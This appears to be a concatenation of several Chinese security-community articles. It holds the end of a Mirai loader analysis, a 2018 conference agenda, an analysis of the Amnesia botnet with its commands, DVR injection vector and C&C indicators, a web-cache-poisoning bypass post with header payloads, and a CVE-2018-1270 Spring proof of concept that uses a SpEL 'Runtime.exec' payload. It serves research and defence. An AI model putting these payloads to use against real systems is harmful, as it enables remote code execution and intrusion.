该下载器连接到服务器，无论远程服务器响应任何内容，都将信息转储到stdout。可以将其想象成阉割版的wget。
**./.i;rm .s 这句命令的功能是将下载的恶意文件执** **行，并将前文的下载器从磁盘上移除。**
主恶意软件像一个守护进程，当开始执行./.i，程序将执行，下载器将删除。
到此为止，恶意软件已成功在目标设备中植入。
**总结**
文章到这里就基本结束了。希望大家读后能有所收获，如果这对你来说是一个新的领域，你将学习到一些东西。请自由分享你的意见，并在下面的评论中提出你的见解。
**参考文献**
本文内容基于以下内容提供信息：
Mirai 源代码：[https://github.com/jgamblin/Mirai-Source-Code/tree/master/loader/src](https://github.com/jgamblin/Mirai-Source-Code/tree/master/loader/src)
Hajime
分析：[https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf](https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf)
**传送门**
* * *
[**从此次美国遭遇大规模DDOS攻击事件看IOT时代的网络安全问题**](http://bobao.360.cn/news/detail/3678.html)
[**【技术分享】关于mirai僵尸网络控制主机的数据分析**](http://bobao.360.cn/learning/detail/3143.html) | 社区文章 |
作者：[先知安全技术社区](https://xz.aliyun.com/t/2400 "先知安全技术社区")
本届先知白帽大会已经圆满结束，感谢大家过去一年对互联网安全作出的贡献。
希望大家在收获满满的同时，也能够在会后通过学习演讲者的分享碰撞出各种火花。
* * *
9:30-10:00
演讲者：猪猪侠
[【先知白帽大会-开场演讲-猪猪侠】](https://xzfile.aliyuncs.com/upload/zcon/2018/1_%E5%85%88%E7%9F%A5%E7%99%BD%E5%B8%BD%E5%A4%A7%E4%BC%9A-%E5%BC%80%E5%9C%BA%E6%BC%94%E8%AE%B2_%E7%8C%AA%E7%8C%AA%E4%BE%A0.pdf
"先知白帽大会-开场演讲_猪猪侠")
* * *
#### macOS 上的逻辑提权漏洞
10:00-10:30
演讲者：菜丝
[【macOS 上的逻辑提权漏洞-菜丝.pdf】](https://xzfile.aliyuncs.com/upload/zcon/2018/2_macOS%20%E4%B8%8A%E7%9A%84%E9%80%BB%E8%BE%91%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E_%E8%8F%9C%E4%B8%9D.pdf
"macOS 上的逻辑提权漏洞_菜丝.pdf")
通过结合真实环境案例，介绍如何在 macOS 平台上不破坏一个字节内存的情况下稳定地获得 root
权限。议题将会分析较为通用的挖掘思路，并针对开发者给出安全设计建议。
* * *
#### 弑君者Kingslayer:供应链攻击前餐
10:30-11:00
演讲者：redrain
[【弑君者Kingslayer-供应链攻击前餐-redrain.pdf】](https://xzfile.aliyuncs.com/upload/zcon/2018/3_%E5%BC%91%E5%90%9B%E8%80%85Kingslayer-%E4%BE%9B%E5%BA%94%E9%93%BE%E6%94%BB%E5%87%BB%E5%89%8D%E9%A4%90_redrain.pdf
"【弑君者Kingslayer-供应链攻击前餐_redrain.pdf】")
2017年的xShellGhost, CCleaner事件让供应链攻击在此前XCodeghost沉寂近⼀年后重回⼈们视野,
然⽽鲜为⼈知的是，2016年，⼀个精巧且庞⼤的攻击悄然落地, 攻击者⾄少在开发环节, 交付环节, 使⽤环节进⾏了不同 程度的攻击, 可能对US Army,
NASA, MIT等多个机构造成不同程度的影响, 该事件被命名为Kingslayer(弑君者)。
作为事件为数不多的研究者, 本⽂将详细阐述并回顾攻击过程并分析其中利⽤的攻击机巧, 并深⼊追溯攻 击者和组织, 披露⼀些研究猜想。
* * *
#### 代码审计点线面实战
11:00-11:30
演讲者：jkgh006
[【代码审计点线面实战-jkgh006.pdf】](https://xzfile.aliyuncs.com/upload/zcon/2018/4_%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E7%82%B9%E7%BA%BF%E9%9D%A2%E5%AE%9E%E6%88%98_jkgh006.pdf
"【代码审计点线面实战_jkgh006.pdf】")
从一个个案例，深入了解java业务系统审计方法和规律，采用黑白结合方式快速完成审计项目。
* * *
#### 边信道硬件攻击实战
11:30-12:00
演讲者：KEVIN2600
[【边信道攻击-Kevin2600.pdf】](https://xzfile.aliyuncs.com/upload/zcon/2018/5_%E8%BE%B9%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB_Kevin2600.pdf
"【边信道攻击_Kevin2600.pdf】")
物联网嵌入式设备已逐渐融人们生活当中, 其在安全及隐私保护上一直都受到黑客和安全研究人员的重点关注. 正所谓魔高一尺道高一丈,
随着物联网设备安全事故的频发, 各厂商在安全防御上也有了一定提升. 这同时也给安全研究带来了更高的挑战。
边信道攻击众人皆知, 但往往给人神秘莫测的感觉. 因此在物联网安全研究人员中还鲜有提及. 本议题将从实战的角度出发. 通过多个简单实用的案例分析, 来揭开
Side-Channel 在硬件设备攻击中的神秘面纱及其强大威力. 也希望给嵌入式设备的开发人员在安全防御上引入新的思路。
* * *
#### 从一个脆弱点到串起整个攻击面
13:30-14:00
演讲者：Orange Tsai
[【從一個脆弱點到整個攻擊鏈-Orange+Tsai.pdf】](https://xzfile.aliyuncs.com/upload/zcon/2018/6_%E5%BE%9E%E4%B8%80%E5%80%8B%E8%84%86%E5%BC%B1%E9%BB%9E%E5%88%B0%E6%95%B4%E5%80%8B%E6%94%BB%E6%93%8A%E9%8F%88_Orange_Tsai.pdf
"【從一個脆弱點到整個攻擊鏈_Orange+Tsai.pdf】")
当业务逻辑扩增、企业架构逐渐复杂时，Bug 或是能解决问题的替代方案便开始增加,
这些问题单独看来可能不起眼或根本无害，但许多微小问题串在一起时，便可能产生严重的风险。
本议程将以 Java 为主轴，分析一个笔者所报告的 0day 以及一个在 Bug Bounty 中因多层次架构所导致远端代码执行的案例。
* * *
#### 攻击GraphQL
14:00-14:30
演讲者：phithon
[【攻击GraphQL-phithon.pdf】](https://xzfile.aliyuncs.com/upload/zcon/2018/7_%E6%94%BB%E5%87%BBGraphQL_phithon.pdf
"【攻击GraphQL-phithon.pdf】")
GraphQL是一个具有划时代意义的前后端通信语言，也是一门比较年轻的技术（诞生于2012年，开源于2015年），新技术的诞生与广泛应用，对于安全人员来说是一种挑战和机遇。本议题从开发的角度，理解GraphQL的设计与运行思路，分析其中可能存在的安全风险，并从前、后端多角度介绍GraphQL的漏洞利用技巧。
* * *
#### Java反序列化实战
14:30-15:00
演讲者：廖新喜
[【Java反序列化实战-廖新喜.pdf】](https://xzfile.aliyuncs.com/upload/zcon/2018/8_Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AE%9E%E6%88%98_%E5%BB%96%E6%96%B0%E5%96%9C.pdf
"【Java反序列化实战-廖新喜.pdf】")
2017年又是反序列漏洞的大年，涌现了许多经典的因为反序列化导致的远程代码执行漏洞，像fastjson，jackson，struts2，weblogic这些使用量非常大的产品都存在这类漏洞，但不幸的是，这些漏洞的修复方式都是基于黑名单，每次都是旧洞未补全，新洞已面世。随着虚拟货币的暴涨，这些直接的远程执行代码漏洞都成了挖矿者的乐园。
本议题将从那些经典案例入手，分析攻击方和防御方的对抗过程。首先是fastjson的最近的安全补丁的分析，由于黑名单做了加密处理，这里会展开如何得到其黑名单，如何构造PoC。当然2018年的重点还是weblogic，由我给大家剖析CVE-2018-2628及其他Weblogic经典漏洞，带大家傲游反序列化的世界，同时也是希望开发者多多借鉴做好安全编码。
* * *
#### 智能合约消息调用攻防
15:00-15:30
演讲者：隐形人真忙
[【智能合约消息调用攻防-隐形人很忙.pdf】](https://xzfile.aliyuncs.com/upload/zcon/2018/9_%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E6%B6%88%E6%81%AF%E8%B0%83%E7%94%A8%E6%94%BB%E9%98%B2_%E9%9A%90%E5%BD%A2%E4%BA%BA%E5%BE%88%E5%BF%99.pdf
"【智能合约消息调用攻防-隐形人很忙.pdf】")
随着区块链技术的流行，以以太坊为基础的智能合约应用也层出不穷，但也伴随着巨大的安全风险。本议题从EVM底层机制与原理出发，结合一些作者发现的特性、场景，介绍消息调用风险点和攻击技术，并从开发者角度给出防护措施。
* * *
#### 从数据视角探索安全威胁
15:30-16:00
演讲者：cdxy
[【从数据视角探索安全威胁-cdxy.pdf】](https://xzfile.aliyuncs.com/upload/zcon/2018/10_%E4%BB%8E%E6%95%B0%E6%8D%AE%E8%A7%86%E8%A7%92%E6%8E%A2%E7%B4%A2%E5%AE%89%E5%85%A8%E5%A8%81%E8%83%81_cdxy.pdf
"【从数据视角探索安全威胁-cdxy.pdf】")
本议题讨论了数据为安全人员思维方式带来的变化。尝试从数据角度对传统威胁感知方案进行再设计，并展示其在入侵检测、攻击识别、0day预警等方面落地效果。
* * *
#### WEB 2.0 启发式爬虫实战
16:00-16:30
演讲者：猪猪侠
[【WEB2.0启发式爬虫实战-猪猪侠.pdf】](https://xzfile.aliyuncs.com/upload/zcon/2018/11_WEB2.0%E5%90%AF%E5%8F%91%E5%BC%8F%E7%88%AC%E8%99%AB%E5%AE%9E%E6%88%98_%E7%8C%AA%E7%8C%AA%E4%BE%A0.pdf
"WEB2.0启发式爬虫实战_猪猪侠.pdf")
在WEB1.0时代网站均由静态页面构成，随着JS动态脚本的兴起和Ajax技术的发展，WEB2.0崛地而起，前端开发框架（JQuery、AngularJS、Vue.js、React）也相继流行，基于WEB2.0框架开发的网页内容会通过事件对DOM结构进行动态地触发与加载，导致在浏览器中看到的页面是缺失的。
依靠静态分析已不能满足需求，通过浏览器提供的Headless调试模式，我们可遍历一个网页的所有动态对象，自动填充输入表单的参数值，并触发对象上的绑定的事件，有效解决安全测试过程中的攻击面挖掘。
启发式爬虫：基于历史经验和已知场景，构造并实现规则的爬虫。
* * *
#### 如何利用Ryuk分析和挖掘macOS&iOS内核驱动漏洞
16:30-17:00
演讲者：白小龙&蒸米
[【如何利用Ryuk分析和挖掘macOS&iOS内核驱动漏洞-白小龙&蒸米.pdf】](https://xzfile.aliyuncs.com/upload/zcon/2018/12_%E5%A6%82%E4%BD%95%E5%88%A9%E7%94%A8Ryuk%E5%88%86%E6%9E%90%E5%92%8C%E6%8C%96%E6%8E%98macOS%26iOS%E5%86%85%E6%A0%B8%E9%A9%B1%E5%8A%A8%E6%BC%8F%E6%B4%9E_%E7%99%BD%E5%B0%8F%E9%BE%99%26%E8%92%B8%E7%B1%B3.pdf
"【如何利用Ryuk分析和挖掘macOS&iOS内核驱动漏洞_白小龙&蒸米.pdf】")
作为苹果macOS和iOS系统的重要组成部分，苹果系统中的设备驱动（简称苹果驱动）与内核使用着相同的地址空间并具有系统中最高的内核权限。但是，苹果驱动经常因其较差的代码质量而饱受诟病，产生过众多的安全性问题，在针对苹果系统的攻击中作为攻击内核的入口被多次利用。在本次演讲中，我们将分享对苹果驱动进行安全性分析和漏洞挖掘的最新研究。
首先，我们将公开苹果驱动中我们发现的两个安全漏洞。这两个漏洞可以被分别用于泄露内核信息和内核代码任意执行。利用漏洞，攻击者可以控制macOS系统的内核，并提升至系统最高权限。除了漏洞细节，我们还将介绍如何利用这些漏洞实现控制内核的整套攻击流程，包括一些崭新的内核漏洞利用技术和技巧。相比于漏洞细节和利用技巧，发现这些安全漏洞的技术更为重要。
然而，在苹果驱动中挖掘安全性漏洞并非易事，其主要原因在于苹果驱动多为闭源且大量使用面向对象编程。我们将分享一款自研的用于分析macOS及iOS内核驱动的静态分析工具Ryuk。Ryuk使用静态分析技术对苹果驱动的二进制代码进行解析，识别代码特征，能够极大地加速苹果驱动逆向和安全性分析流程，加快漏洞挖掘进程。
* * * | 社区文章 |
作者: **启明星辰ADLab**
#### 一、基本功能简述
目前针对物联网设备的恶意软件越来越普遍，一般来说针对物联网设备的攻击分为两个方面：一方面是通过自动化工具使用密码字典尝试批量猜解物联网设备的管理员帐号及密码，导致攻击者可以轻易访问物联网设备（物联网设备被攻击者控制）；另一方面是因为物联网设备存在安全漏洞，攻击者利用漏洞来对设备进行攻击，达到控制设备的目的。被控制的物联网设备往往会被攻击者集中起来，组建僵尸网络，从而发起DDoS攻击。
近日，Palo Alto
Networks的研究人员发现了Linux僵尸网络Tsunami的新变种，并命名为Amnesia。Amnesia即为通过利用漏洞来对物联网设备进行攻击的恶意软件，Amnesia也是首个采用虚拟机检测技术来躲避恶意软件分析沙箱的Linux嵌入式恶意软件。Amnesia僵尸网络允许攻击者利用远程代码执行漏洞对未打补丁的数字视频录像机设备发起攻击。该远程代码执行漏洞由安全专家Rotem
Kemer在2016年3月22日披露，其中全球大概70多家厂商受到影响，这些厂商均使用了由TVT
Digital（深圳同为）生产的设备。根据目前的扫描数据，全球有227000台设备受此漏洞影响，主要受影响的国家和地区包括：中国台湾、美国、以色列、土耳其和印度。
本次发现的Amnesia僵尸网络运行在PowerPC架构上，首先攻击者通过暴力猜解或者其他手段感染DVR设备，使Amnesia恶意代码在DVR上开始运行，当Amnesia运行后，它会连接远程C&C，并根据控制指令中指定的IP范围扫描网络中的其他DVR设备进行传播。
#### 二、逆向分析描述
##### 1.反虚拟机
Amnesia是首个采用虚拟机检测技术来躲避恶意软件分析沙箱的Linux嵌入式恶意代码。针对Windows或安卓的恶意软件常常会采用虚拟机检测技术来躲避沙箱环境的分析，然而该技术在Linux嵌入式系统上却很少采用。当僵尸网络Amnesia发现自身运行于VirtualBox、VMware或QEMU虚拟机中，它将删除系统中的所有文件来阻碍恶意软件分析沙箱的正常运行。
Linux系统中的`/sys/class/dmi/id`目录里存放了主机的相关硬件信息，包括产品信息、主板信息、Bios信息等，Amnesia就是通过读取该目录中的文件获取当前主机的硬件信息。当Amnesia运行时会读取`/sys/class/dmi/id/product_name`和`/sys/class/dmi/id/sys_vendor`文件，并匹配其中是否包含关键字“VirtualBox”、“VMware”和“QEMU”来判断当前目标系统是否为虚拟机。
当检测到当前主机为虚拟机时，Amnesia将开启自我删除，并删除Linux根目录、当前用户主目录、工作目录，这些删除操作相当于擦除整个Linux系统，会对整个系统造成损害。
##### 2.主要行为
当目标系统不是虚拟机环境时，Amnesia会执行命令来更改系统限制。
其中主要命令包括： 命令 | 注释
---|---
echo 80000500 > /proc/sys/fs/nr_open 1>/dev/null 2>/dev/null |
更改进程可以打开的最大文件描述符的数量
ulimit -n 1000 1>/dev/null 2>/dev/null | 更改进程可以打开的最大文件描述符的数量
ulimit -n 10000 1>/dev/null 2>/dev/null | 更改进程可以打开的最大文件描述符的数量
ulimit -n 100000 1>/dev/null 2>/dev/null | 更改进程可以打开的最大文件描述符的数量
ulimit -n 1000000 1>/dev/null 2>/dev/null | 更改进程可以打开的最大文件描述符的数量
ulimit -n 10000000 1>/dev/null 2>/dev/null | 更改进程可以打开的最大文件描述符的数量
echo 1 > /proc/sys/net/ipv4/tcp_tw_recycle 1>/dev/null 2>/dev/null |
开启tcp_tw_recycle选项，能够更快地回收TIME-WAIT套接字
sysctl -w net.ipv4.tcp_moderate_rcvbuf=\"0\" 1>/dev/null 2>/dev/null |
关闭TCP内存自动调整功能
sysctl -w fs.file-max=999999999999999999 1>/dev/null 2>/dev/null | 更改文件句柄的最大数量
当目标系统不是虚拟机环境时，Amnesia会根据当前用户的权限将自身拷贝到`/etc/init.d/.reboottime`和`/etc/cron.daily/.reboottime`,然后修改用户目录下的`.bashrc、.bash_profile`文件，实现自身随系统启动运行。Amnesia会杀死与Telnet及SSH相关的进程，来防止管理员或其他攻击者通过远程登录来控制设备。
将自身写入到用户目录下`.bashrc、.bash_profile`实现随系统启用运行。
_杀死与Telnet相关进程。_ 杀死与SSH相关进程。
##### 3.控制指令
Amnesia采用IRC协议与C&C进行通信，其中支持的控制指令较多，而且包括许多与DDoS攻击相关的指令。通过对控制命令的进一步分析，发现Amnesia使用了与Tsunami恶意代码相同的控制指令，也进一步印证了Amnesia为Tsunami的新变种。
##### 4.漏洞利用
在控制指令中包括两个特殊的指令CCTVSSCANNER和CCTVPROCS。其中，CCTVSSCANNER用来扫描DVR设备，CCTVPROCS用来对存在漏洞的设备进行攻击。
当Amnesia收到CCTVSSCANNER指令时，Amnesia会构造请求向指定的IP地址发起连接，然后读取返回内容，如果返回内容中包括“Cross
Web
Server”，则表示该DVR设备存在。Amnesia会构造请求并在请求中加入要远程执行的shell命令发起对DVR设备的访问。(其中{IFS}&&shell，由于Swedish不存在，所以会执行`tar
-zxf /mnt/mtd/WebSites/language.tar.gz Swedish && shell命令 /* -C
/nfsdir/language`命令。即Swedish后面连接的shell命令会被执行，这就导致了远程命令执行。
(关于该漏洞的详细信息可参阅http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html)
TVT
DVR设备处理请求时的代码调用图如下：
#### 三、总结
随着越来越多的物联网设备连接至互联网，那些不安全的物联网设备正在成为威胁实施者眼中唾手可得并可轻松利用的成熟果实。正如臭名昭著的Mirai僵尸网络，针对网络摄像头和家庭路由器等设备中的登录漏洞进行攻击利用，发起了迄今为止已知的规模最大的DDoS攻击。如果物联网设备制造商不能确保其设备的绝对安全，对数字经济的潜在影响将是毁灭性的。
#### 四、IOC
**C &C:**
ukranianhorseriding.net
surrealzxc.co.za
inversefierceapplied.pw
**Sample SHA-256:**
c80048aab22ef18e4271a0d6c6c85d7f9720653ba003861776dcecb2bd63878a
719142b7e103e66d9b56596f467f36a7dad34ade106b1aa61844c5904476e533
b05b0cfad6d32f9a56865d1e24cf02b6642892f60ad5d972b2f291484d5c7b50
06d30ba7c96dcaa87ac584c59748708205e813a4dffa7568c1befa52ae5f0374
10aa7b3863f34d340f960b89e64319186b6ffb5d2f86bf0da3f05e7dbc5d9653
175fe89bbc8e44d45f4d86e0d96288e1e868524efa260ff07cb63194d04ea575
1d8bc81acbba0fc56605f60f5a47743491d48dab43b97a40d4a7f6c21caca12a
2f9cd1d07c535aae41d5eed1f8851855b95b5b38fb6fe139b5f1ce43ed22df22
327f24121d25ca818cf8414c1cc704c3004ae63a65a9128e283d64be03cdd42e
37b2b33a8e344efcaca0abe56c6163ae64026ccef65278b232a9170ada1972af
3a595e7cc8e32071781e36bbbb680d8578ea307404ec07e3a78a030574da8f96
4313af898c5e15a68616f8c40e8c7408f39e0996a9e4cc3e22e27e7aeb2f8d54
46ea20e3cf34d1d4cdfd797632c47396d9bdc568a75d550d208b91caa7d43a9b
4b0feb1dd459ade96297b361c69690ff69e97ca6ee5710c3dc6a030261ba69e0
4db9924decd3e578a6b7ed7476e499f8ed792202499b360204d6f5b807f881b8
5e6896b39c57d9609dc1285929b746b06e070886809692a4ac37f9e1b53b250c
64f03fff3ed6206337332a05ab9a84282f85a105432a3792e20711b920124707
6b2885a4f8c9d84e5dc49830abf7b1edbf1b458d8b9d2bafb680370106f93bc3
6b29b65c3886b6734df788cfc6628fbee4ce8921e3c0e8fc017e4dea2da0fd0b
885dce73237c4d7b4d481460baffbd5694ab671197e8c285d53b551f893d6c09
886136558ec806da5e70369ee22631bfb7fa06c27d16c987b6f6680423bc84b0
8f57ec9dfba8cf181a723a6ac2f5a7f50b4550dd33a34637cf0f302c43fd0243
9351ee0364bdbb5b2ff7825699e1b1ee319b600ea0726fd9bb56d0bd6c6670cb
9c7a5239601a361b67b1aa3f19b462fd894402846f635550a1d63bee75eab0a2
a010bf82e2c32cba896e04ec8dbff58e32eee9391f6986ab22c612165dad36a0
ad65c9937a376d9a53168e197d142eb27f04409432c387920c2ecfd7a0b941c8
aeb480cf01696b7563580b77605558f9474c34d323b05e5e47bf43ff16b67d6a
b113ec41cc2fd9be9ac712410b9fd3854d7d5ad2dcaac33af2701102382d5815
b13014435108b34bb7cbcef75c4ef00429b440a2adf22976c31a1645af531252
b3d0d0e2144bd1ddd27843ef65a2fce382f6d590a8fee286fda49f8074711545
bdefa773e3f09cdc409f03a09a3982f917a0cc656b306f0ece3dd1a2564a8772
c03b403d5de9778a2ec5949d869281f13976c2fc5b071e0f5f54277680c80902
cb2382b818993ef6b8c738618cc74a39ecab243302e13fdddb02943d5ba79483
ce61dcfc3419ddef25e61b6d30da643a1213aa725d579221f7c2edef40ca2db3
d0bda184dfa31018fe999dfd9e1f99ca0ef502296c2cccf454dde30e5d3a9df9
e7d6b3e1fba8cdf2f490031e8eb24cd515a30808cdd4aa15c2a41aa0016f8082
eb54dc959b3cc03fbd285cef9300c3cd2b7fe86b4adeb5ca7b098f90abb55b8a
f23fecbb7386a2aa096819d857a48b853095a86c011d454da1fb8e862f2b4583
f6af2fa4f987df773d37d9bb44841a720817ce3817dbf1e983650b5af9295a16
f7a737cb73802d54f7758afe4f9d0a7d2ea7fda4240904c0a79abae732605729
f7cf1e0d7756d1874630d0d697c3b0f3df0632500cff1845b6308b11059deb07
f97848514b63e9d655a5d554e62f9e102eb477c5767638eeec9efd5c6ad443d8
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近300个，持续保持亚洲领先并确立了其在国际网络安全领域的核心地位。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
原文地址：<https://portswigger.net/blog/bypassing-web-cache-poisoning-countermeasures>
继上个月关于Web缓存投毒的[演示文稿](https://www.youtube.com/watch?v=iSDoUGjfW3Q)和[白皮书](https://portswigger.net/blog/practical-web-cache-poisoning)之后，各公司已部署防御措施以试图缓解缓存投毒攻击。在这篇文章中，我将介绍一些可以用来绕过它们的通用弱点。
这项研究引发了几家主要缓存供应商的响应。Akamai发布了一个简短的响应，令人迷惑地引用Web缓存欺骗的[缓解措施](https://blogs.akamai.com/2018/08/on-cache-poisoning.html)，实际上它几乎没有阻止Web缓存投毒攻击。fastly发布[安全公告](https://www.fastly.com/security-advisories/cache-poisoning-leveraging-various-x-headers)，提供有关缓解的详细建议，Cloudflare更进一步，并采取全局性缓解措施，详见博客文章[Cloudflare如何保护客户免受缓存投毒](https://blog.cloudflare.com/cache-poisoning-protection/)。
让我们仔细看看Cloudflare部署的两个防御策略。第一个是向他们的WAF添加一个规则来阻止类似XSS的字符，比如我在研究中使用的某些请求头中的<，像在X-Forwarded-Host请求头中：
GET / HTTP/1.1
Host: waf.party
X-Forwarded-Host: xss<
HTTP/1.1 403 Forbidden
Attention Required!
这使得通过向这些请求头缓存投毒以直接获取[XSS](https://portswigger.net/kb/issues/00200300_cross-site-scripting-reflected)的方式变得更加困难，但正如他们所指出的那样，仍然会使一些应用程序容易受到攻击，因为漏洞并不总是需要这些字符。第二个更强大的缓解措施是将这些请求头添加到其默认缓存键中，理论上无法将这些请求头用于缓存投毒：
GET / HTTP/1.1
Host: waf.party
X-Forwarded-Host: evil.net
HTTP/1.1 200 OK
<a href="https://evil.net/"
修复前的缓存键https://waf.party/
修复后的缓存键：https://waf.party/|evil.net
不幸的是，这两种防御策略实际都存在严重的缺陷，这意味着它们可以被完全绕过。这种方法通过设置一个小优化级设置，这意味着如果Cloudflare匹配Host头，则不会将X-Forwarded-Host头添加到缓存键：
GET / HTTP/1.1
Host: waf.party
X-Forwarded-Host: waf.party
修复后的缓存键：https：//waf.party/
致命的缺陷是Cloudflare只查看每个请求头的第一个实例，因此攻击者可以提供重复的请求头，第一个实例是无害的，第二个实例包含payload。当后端服务器处理此类请求时，它通常会使用逗号连接两个请求头的值。
GET / HTTP/1.1
Host: waf.party
X-Forwarded-Host: waf.party
X-Forwarded-Host: evil.net"/><script...
HTTP/1.1 200 OK
<a href="https://waft.party, evil.net"/><script...
修复后的缓存键：https：//waf.party/
我上周向Cloudflare报告了这个问题，所以这个问题很快就会被修补，并且缓存键绕过现在已经修补了。虽然他们的修复最初并没有成功，但他们值得被赞扬作为唯一尝试技术修复的供应商，现在我的绕过已经修补了，我认为他们是具有最安全默认配置的供应商。也就是说，值得注意-通常来说Cloudflare的修复不会使Cloudflare托管的网站受缓存投毒的影响 - 因为它只能阻止使用常用的请求头攻击。
其他公司尝试修补也可能出错。一个常见的错误是发现缓存投毒攻击并使用已缓存的响应阻止它。这极有可能地造成了拒绝服务问题。这种危险也可能由WAF引起 -例如www.tesla.com 使用WAF阻止任何请求头中包含字符串'burpcollaborator.net'的请求:
GET /en_GB/roadster HTTP/1.1
Host: www.tesla.com
Any-Header: burpcollaborator.net
HTTP/1.1 403 Forbidden
Access Denied. Please contact waf@tesla.com
在此次攻击之后，任何试图访问该页面的人都会发现自己被拒绝访问了：
GET /en_GB/roadster HTTP/1.1
Host: www.tesla.com
HTTP/1.1 403 Forbidden
Access Denied. Please contact waf@tesla.com
我见过的另一个错误发生在公司试图修补引入漏洞的框架，但低估了请求头的全部潜力。例如，一个站点将可接受的request.host变量值列入了白名单，该变量由X-Forwarded-Host请求头赋值。但是，他们没有注意到这个请求文件也可以向request.port变量赋值，从而导致持久的拒绝服务：
GET / HTTP/1.1
Host: redacted.com
X-Forwarded-Host: redacted.com:123
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:123/
最终，在特定的基础上修补Web缓存投毒可能很棘手，Web框架的作者是解决这些常见的问题的最好的人。像Django和Flask这样的框架近年来已经禁用了对这些请求头的支持，而像Ruby
on
Rails这样的其他框架已被[反复警告](https://github.com/rails/rails/issues/29893)，但最近才开始转向部署修复程序。
最后，我应该提一下，我将在周一发布的[Param Miner](https://github.com/PortSwigger/param-miner)中做出实质性更新，特别是包括默认禁用静态'fcbz'缓存爆破程序，因为它破坏了某些网站。这意味着当您使用浏览器或Repeater尝试缓存投毒时，您需要手动指定自己的缓存爆破值，否则可能会意外影响其他访问者。
祝你好运，保持安全！ | 社区文章 |
作者：chybeta
来源：[先知安全社区](https://xz.aliyun.com/t/2252 "先知安全社区")
#### 漏洞公告
2018年4月5日漏洞公布： <https://pivotal.io/security/cve-2018-1270>
漏洞影响版本:
1. Spring Framework 5.0 to 5.0.4
2. Spring Framework 4.3 to 4.3.14
3. Older unsupported versions are also affected
#### 环境搭建
利用官方示例 <https://github.com/spring-guides/gs-messaging-stomp-websocket> ，git
clone后checkout到未更新版本：
git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3
用IDEA打开gs-messaging-stomp-websocket目录下的complete项目，修改app.js中的第15行：
function connect() {
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
});
}
增加了一个header头部，其中指定了`selector`，其值即payload。
#### 漏洞利用
点击connect后建立起连接，在文本框中随意输入，点击Send，触发poc：
#### 漏洞分析
当在 <http://localhost:8080/> 中点击Connect后，在app.js中，有如下代码，会建立起Websocket连接：
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
...
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
其中`header`中指定了`selector`，根据 [Stomp Protocol Specification, Version
1.0](https://stomp.github.io/stomp-specification-1.0.html "Stomp Protocol
Specification, Version 1.0")，通过指定对应的selecttor，可以对订阅的信息进行过滤：
Stomp brokers may support the selector header which allows you to specify an SQL 92 selector on the message headers which acts as a filter for content based routing.
You can also specify an id header which can then later on be used to UNSUBSCRIBE from the specific subscription as you may end up with overlapping subscriptions using selectors with the same destination. If an id header is supplied then Stomp brokers should append a subscription header to any MESSAGE commands which are sent to the client so that the client knows which subscription the message relates to. If using Wildcards and selectors this can help clients figure out what subscription caused the message to be created.
在 org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java
第140行，对这个header参数进行了接受和处理：
protected void addSubscriptionInternal(
String sessionId, String subsId, String destination, Message<?> message) {
Expression expression = null;
MessageHeaders headers = message.getHeaders();
String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers);
if (selector != null) {
try {
expression = this.expressionParser.parseExpression(selector);
this.selectorHeaderInUse = true;
if (logger.isTraceEnabled()) {
logger.trace("Subscription selector: [" + selector + "]");
}
}
catch (Throwable ex) {
if (logger.isDebugEnabled()) {
logger.debug("Failed to parse selector: " + selector, ex);
}
}
}
this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);
this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);
}
如图所示，此次连接对应的sessionId为`mrzfa005`，subsId为`sub-0`。
之后，在 <http://localhost:8080/> 中输入任意字符串，点击send。spring进行了一系列处理后，开始向消息的订阅者分发消息，在
org/springframework/messaging/simp/broker/SimpleBrokerMessageHandler.java:349
行：
protected void sendMessageToSubscribers(@Nullable String destination, Message<?> message) {
MultiValueMap<String,String> subscriptions = this.subscriptionRegistry.findSubscriptions(message);
...
其中message保存了此次连接/会话的相关信息：
跟入 `this.subscriptionRegistry.findSubscriptions` 至
org/springframework/messaging/simp/broker/AbstractSubscriptionRegistry.java:111
行：
public final MultiValueMap<String, String> findSubscriptions(Message<?> message) {
....
return findSubscriptionsInternal(destination, message);
}
message作为参数被传入 `findSubscriptionsInternal` ，在return处继续跟进至
org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java:184行
protected MultiValueMap<String, String> findSubscriptionsInternal(String destination, Message<?> message) {
MultiValueMap<String, String> result = this.destinationCache.getSubscriptions(destination, message);
return filterSubscriptions(result, message);
}
其中result变量值如下：
该变量即
`org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java:201`行的filterSubscriptions方法的`allMatches`变量，跟进至两层for循环
for (String sessionId : allMatches.keySet()) {
for (String subId : allMatches.get(sessionId)) {
SessionSubscriptionInfo info = this.subscriptionRegistry.getSubscriptions(sessionId);
if (info == null) {
continue;
}
Subscription sub = info.getSubscription(subId);
if (sub == null) {
continue;
}
...
}
}
